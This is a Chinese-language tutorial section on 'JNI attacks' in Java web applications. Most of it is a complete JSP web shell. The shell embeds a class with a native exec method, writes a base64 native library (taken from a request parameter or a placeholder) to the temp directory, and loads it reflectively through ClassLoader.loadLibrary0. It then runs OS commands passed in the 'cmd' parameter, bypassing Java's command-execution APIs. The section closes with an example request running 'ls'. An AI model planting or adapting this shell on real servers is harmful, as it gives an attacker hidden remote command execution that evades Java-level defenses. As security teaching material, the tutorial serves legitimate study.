JNI攻击

Java语言是基于C语言实现的,Java底层的很多API都是通过JNI(Java Native Interface)来实现的。通过JNI接口C/C++Java可以互相调用(存在跨平台问题)。Java可以通过JNI调用来弥补语言自身的不足(代码安全性、内存操作等)。

JNI是一种比较特殊的方式,如果能够利用效果等同于绕过Java 命令执行API。

  1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  2. <%@ page import="java.io.File" %>
  3. <%@ page import="java.io.FileOutputStream" %>
  4. <%@ page import="java.io.IOException" %>
  5. <%@ page import="java.lang.reflect.Method" %>
  6. <%-- load_library_cmd_all.jsp?cmd=ls --%>
  7. <%-- 通过JNI的方式调用动态链接库, 反射调用 ClassLoader loadLibrary0 方法进行加载 --%>
  8. <%!
  9. private static final String COMMAND_CLASS_NAME = "com.anbai.sec.cmd.CommandExecution";
  10. /**
  11. * JDK1.5编译的com.anbai.sec.cmd.CommandExecution类字节码,
  12. * 只有一个public static native String exec(String cmd);的方法
  13. */
  14. private static final byte[] COMMAND_CLASS_BYTES = new byte[]{
  15. -54, -2, -70, -66, 0, 0, 0, 49, 0, 15, 10, 0, 3, 0, 12, 7, 0, 13, 7, 0, 14, 1,
  16. 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
  17. 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108,
  18. 101, 1, 0, 4, 101, 120, 101, 99, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97,
  19. 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108,
  20. 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114,
  21. 99, 101, 70, 105, 108, 101, 1, 0, 21, 67, 111, 109, 109, 97, 110, 100, 69, 120,
  22. 101, 99, 117, 116, 105, 111, 110, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 34,
  23. 99, 111, 109, 47, 97, 110, 98, 97, 105, 47, 115, 101, 99, 47, 99, 109, 100, 47, 67,
  24. 111, 109, 109, 97, 110, 100, 69, 120, 101, 99, 117, 116, 105, 111, 110, 1, 0, 16,
  25. 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0,
  26. 2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 29, 0, 1, 0, 1,
  27. 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 1,
  28. 9, 0, 8, 0, 9, 0, 0, 0, 1, 0, 10, 0, 0, 0, 2, 0, 11
  29. };
  30. /**
  31. * 获取JNI链接库目录
  32. * @return 返回缓存JNI的临时目录
  33. */
  34. File getTempJNILibFile() {
  35. File jniDir = new File(System.getProperty("java.io.tmpdir"), "jni-lib");
  36. if (!jniDir.exists()) {
  37. jniDir.mkdir();
  38. }
  39. String filename;
  40. if (isWin()) {
  41. filename = "cmd.dll";
  42. } else {
  43. if (isMac()) {
  44. filename = "libcmd.lib";
  45. } else {
  46. filename = "libcmd.so";
  47. }
  48. }
  49. return new File(jniDir, filename);
  50. }
  51. boolean isWin() {
  52. return (System.getProperty("os.name") != null && System.getProperty("os.name").startsWith("Win"));
  53. }
  54. boolean isWin32() {
  55. return "32".equals(System.getProperty("sun.arch.data.model"));
  56. }
  57. boolean isMac() {
  58. return (System.getProperty("os.name") != null && System.getProperty("os.name").startsWith("Mac"));
  59. }
  60. /**
  61. * 高版本JDKsun.misc.BASE64Decoder已经被移除,低版本JDK又没有java.util.Base64对象,
  62. * 所以还不如直接反射自动找这两个类,哪个存在就用那个decode。
  63. * @param str
  64. * @return
  65. */
  66. byte[] base64Decode(String str) {
  67. try {
  68. try {
  69. Class clazz = Class.forName("sun.misc.BASE64Decoder");
  70. return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
  71. } catch (ClassNotFoundException e) {
  72. Class clazz = Class.forName("java.util.Base64");
  73. Object decoder = clazz.getMethod("getDecoder").invoke(null);
  74. return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
  75. }
  76. } catch (Exception e) {
  77. return null;
  78. }
  79. }
  80. /**
  81. * 写JNI链接库文件
  82. * @param base64 JNI动态库Base64
  83. * @return 返回是否写入成功
  84. */
  85. void writeJNILibFile(String base64) throws IOException {
  86. if (base64 != null) {
  87. File jniFile = getTempJNILibFile();
  88. if (!jniFile.exists()) {
  89. byte[] bytes = base64Decode(base64);
  90. if (bytes != null) {
  91. FileOutputStream fos = new FileOutputStream(jniFile);
  92. fos.write(bytes);
  93. fos.flush();
  94. fos.close();
  95. }
  96. }
  97. }
  98. }
  99. %>
  100. <%
  101. String cmd = request.getParameter("cmd");
  102. String jniBytes = request.getParameter("jni");
  103. String COMMAND_JNI_FILE_BYTES;
  104. if (isWin()) {
  105. if (isWin32()) {
  106. // windows 32
  107. COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息,请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
  108. } else {
  109. // windows 64
  110. COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息,请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
  111. }
  112. } else {
  113. if (isMac()) {
  114. // mac
  115. COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息,请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
  116. } else {
  117. // centos 7 64
  118. COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息,请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
  119. }
  120. }
  121. // JNI路径
  122. File jniFile = getTempJNILibFile();
  123. ClassLoader loader = (ClassLoader) application.getAttribute("__LOADER__");
  124. if (loader == null) {
  125. loader = new ClassLoader(this.getClass().getClassLoader()) {
  126. @Override
  127. protected Class<?> findClass(String name) throws ClassNotFoundException {
  128. try {
  129. return super.findClass(name);
  130. } catch (ClassNotFoundException e) {
  131. return defineClass(COMMAND_CLASS_NAME, COMMAND_CLASS_BYTES, 0, COMMAND_CLASS_BYTES.length);
  132. }
  133. }
  134. };
  135. writeJNILibFile(jniBytes != null ? jniBytes : COMMAND_JNI_FILE_BYTES);// 写JNI文件到临时文件目录
  136. application.setAttribute("__LOADER__", loader);
  137. }
  138. try {
  139. // load命令执行类
  140. Class commandClass = loader.loadClass("com.anbai.sec.cmd.CommandExecution");
  141. Object loadLib = application.getAttribute("__LOAD_LIB__");
  142. if (loadLib == null || !((Boolean) loadLib)) {
  143. Method loadLibrary0Method = ClassLoader.class.getDeclaredMethod("loadLibrary0", Class.class, File.class);
  144. loadLibrary0Method.setAccessible(true);
  145. loadLibrary0Method.invoke(loader, commandClass, jniFile);
  146. application.setAttribute("__LOAD_LIB__", true);
  147. }
  148. String content = (String) commandClass.getMethod("exec", String.class).invoke(null, cmd);
  149. out.println("<pre>");
  150. out.println(content);
  151. out.println("</pre>");
  152. } catch (Exception e) {
  153. out.println(e.toString());
  154. throw e;
  155. }
  156. %>

访问:http://localhost:8000/modules/jni/loadlibrary.jsp?cmd=ls,如下图:

image-20200920234706459